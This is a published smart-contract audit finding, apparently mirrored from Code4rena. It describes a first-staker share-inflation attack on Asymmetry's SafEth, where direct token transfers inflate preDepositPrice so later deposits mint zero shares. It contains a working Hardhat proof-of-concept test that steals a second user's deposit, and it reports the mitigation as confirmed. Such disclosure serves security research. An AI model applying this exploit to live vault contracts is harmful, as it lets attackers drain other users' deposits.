An attacker can manipulate the preDepositvePrice to steal from other users
The first user to stake can manipulate the total supply of sfTokens and inflate the preDepositPrice by unstaking most of their tokens and transferring derivative tokens directly to the derivative contracts. This causes subsequent users' deposits to be rounded down to zero sfTokens, allowing the attacker to steal their funds.
monrel Follow with giovannidisiena, d3e4 and 38 others
Originally disclosed on Code4rena
Submitted by monrel, also found by giovannidisiena, d3e4, anodaram, ulqiorra, parsely, n33k, Tricko, Haipls, sinarette, nemveer, 0xRajkumar, mahdirostami, 0xfusion, sashik_eth, Koolex, Vagner, RedTiger, aga7hokakological, bytes032, MiloTruck, pavankv, yac, sinarette, Bahurum, ToonVH, shaka, bart1e, bart1e, juancito, mert_eren, Krace, ck, bin2chen, igingu, AkshaySrivastav, RaymondFam, Cryptor, carrotsmuggler, Dug, and Brenzee
https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/SafEth.sol#L79 https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/SafEth.sol#L98
Impact
The first user that stakes can manipulate the total supply of sfTokens and by doing so create a rounding error for each subsequent user. In the worst case, an attacker can steal all the funds of the next user.
Proof of Concept
When the first user enters totalSupply is set to 1e18 on L79:
if (totalSupply == 0)
preDepositPrice = 10 ** 18; // initializes with a price of 1
else preDepositPrice = (10 ** 18 * underlyingValue) / totalSupply;
But the user can immediately unstake most of his safETH such that totalSupply << 1e18. The attacker can then transfer increase the underlying amount by transferring derivative tokens to the derivative contracts.
For subsequent users, the preDepositPrice will be heavily inflated and the calculation of mintAmount on L98:
uint256 mintAmount = (totalStakeValueEth * 10 ** 18) / preDepositPrice;
can be very inaccurate. In the worst case it rounds down to 0 for users that deposit value that is less than the value that the attacker transferred in.
In the following POC the attacker steals all of the second user’s deposit. The attacker first deposits 100 ETH and immediately removes all but 1 wei. The attacker then transfers 10 wsETH to the WstEth contract. When the second user enters with 1.5 ETH no additional safETH are minted since the minAmount is rounded down to 0. The attacker has all of the safTokens and can withdraw 100% of deposits.
Create a new test file with the following content to run the POC.
import { SafEth } from "../typechain-types";
import { ethers, upgrades, network } from "hardhat";
import { expect } from "chai";
import {
getAdminAccount,
getUserAccounts,
getUserBalances,
randomStakes,
randomUnstakes,
} from "./helpers/integrationHelpers";
import { getLatestContract } from "./helpers/upgradeHelpers";
import { BigNumber } from "ethers";
import ERC20 from "@openzeppelin/contracts/build/contracts/ERC20.json";
import { RETH_MAX, WSTETH_ADRESS, WSTETH_WHALE } from "./helpers/constants";
describe.only("SafEth POC", function () {
let safEthContractAddress: string;
let strategyContractAddress: string;
// create string array
let derivativesAddress: string[] = [];
let startingBalances: BigNumber[];
let networkFeesPerAccount: BigNumber[];
let totalStakedPerAccount: BigNumber[];
before(async () => {
startingBalances = await getUserBalances();
networkFeesPerAccount = startingBalances.map(() => BigNumber.from(0));
totalStakedPerAccount = startingBalances.map(() => BigNumber.from(0));
});
it("Should deploy the strategy contract", async function () {
const safEthFactory = await ethers.getContractFactory("SafEth");
const strategy = (await upgrades.deployProxy(safEthFactory, [
"Asymmetry Finance ETH",
"safETH",
])) as SafEth;
await strategy.deployed();
strategyContractAddress = strategy.address;
const owner = await strategy.owner();
const derivativeCount = await strategy.derivativeCount();
expect(owner).eq((await getAdminAccount()).address);
expect(derivativeCount).eq("0");
});
it("Should deploy derivative contracts and add them to the strategy contract with equal weights", async function () {
const supportedDerivatives = ["Reth", "SfrxEth", "WstEth"];
const strategy = await getLatestContract(strategyContractAddress, "SafEth");
for (let i = 0; i < supportedDerivatives.length; i++) {
const derivativeFactory = await ethers.getContractFactory(
supportedDerivatives[i]
);
const derivative = await upgrades.deployProxy(derivativeFactory, [
strategyContractAddress,
]);
const derivativeAddress = derivative.address;
derivativesAddress.push(derivativeAddress);
await derivative.deployed();
const tx1 = await strategy.addDerivative(
derivative.address,
"1000000000000000000"
);
await tx1.wait();
}
const derivativeCount = await strategy.derivativeCount();
expect(derivativeCount).eq(supportedDerivatives.length);
});
it("Steal funds", async function () {
const strategy = await getLatestContract(strategyContractAddress, "SafEth");
const userAccounts = await getUserAccounts();
let totalStaked = BigNumber.from(0);
const userStrategySigner = strategy.connect(userAccounts[0]);
const userStrategySigner2 = strategy.connect(userAccounts[1]);
const ethAmount = "100";
const depositAmount = ethers.utils.parseEther(ethAmount);
totalStaked = totalStaked.add(depositAmount);
const balanceBefore = await userAccounts[0].getBalance();
const stakeResult = await userStrategySigner.stake({
value: depositAmount,
});
const mined = await stakeResult.wait();
const networkFee = mined.gasUsed.mul(mined.effectiveGasPrice);
networkFeesPerAccount[0] = networkFeesPerAccount[0].add(networkFee);
totalStakedPerAccount[0] = totalStakedPerAccount[0].add(depositAmount);
const userSfEthBalance = await strategy.balanceOf(userAccounts[0].address);
const userSfWithdraw = userSfEthBalance.sub(1);
await network.provider.request({
method: "hardhat_impersonateAccount",
params: [WSTETH_WHALE],
});
const whaleSigner = await ethers.getSigner(WSTETH_WHALE);
const erc20 = new ethers.Contract(WSTETH_ADRESS, ERC20.abi, userAccounts[0]);
const wderivative = derivativesAddress[2];
const erc20BalanceBefore = await erc20.balanceOf(wderivative);
//remove all but 1 sfToken
const unstakeResult = await userStrategySigner.unstake(userSfWithdraw);
const erc20Whale = erc20.connect(whaleSigner);
const erc20Amount = ethers.utils.parseEther("10");
// transfer tokens directly to the derivative (done by attacker)
await erc20Whale.transfer(wderivative, erc20Amount);
// NEW USER ENTERS
const ethAmount2 = "1.5";
const depositAmount2 = ethers.utils.parseEther(ethAmount2);
const stakeResu2lt = await userStrategySigner2.stake({
value: depositAmount2,
});
const mined2 = await stakeResult.wait();
// User has 0 sfTokens!
const userSfEthBalance2 = await strategy.balanceOf(userAccounts[1].address);
console.log("userSfEthBalance2: ", userSfEthBalance2.toString());
// Attacker has 1 sfToken
const AttakcerSfEthBalanc = await strategy.balanceOf(userAccounts[0].address);
console.log("AttakcerSfEthBalanc: ", AttakcerSfEthBalanc.toString());
//Total supply is 1.
const totalSupply = await strategy.totalSupply();
console.log("totalSupply: ", totalSupply.toString());
});
});
Tools Used
vscode, hardhat
Use internal accounting to get the balance.
Status: Mitigation confirmed with comments. Full details in reports from d3e4, adriro, and 0x52.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the preDepositPrice calculation uses the contract's total balance of derivative tokens, which an attacker can inflate by direct transfer, combined with a very small totalSupply, leading to rounding down of minted shares for subsequent depositors.
Impact
An attacker could steal all funds deposited by the next user, as demonstrated in the proof of concept.
What the attacker needed
Attacker is first staker; Attacker has derivative tokens to transfer
The fix
The project mitigated by using internal accounting to get the balance, as confirmed in the mitigation contest.
How it was found
- Attacker stakes 100 ETH, receiving sfTokens.
- Attacker unstakes all but 1 wei of sfTokens, leaving totalSupply very small.
- Attacker transfers derivative tokens directly to a derivative contract, increasing underlying value.
- Victim stakes 1.5 ETH, but due to inflated preDepositPrice, mintAmount rounds down to 0.
- Attacker holds all sfTokens and can withdraw the entire pool.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you deposit money into a shared pool, you get tokens representing your share. The value of each token is calculated by dividing the pool's total value by the number of tokens. If an attacker makes the total number of tokens very small and the pool's value very large, then a new user's deposit might be too small to buy even one token, so they get nothing. The attacker, holding the only token, can then withdraw everything.
What is Smart contracts?
Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.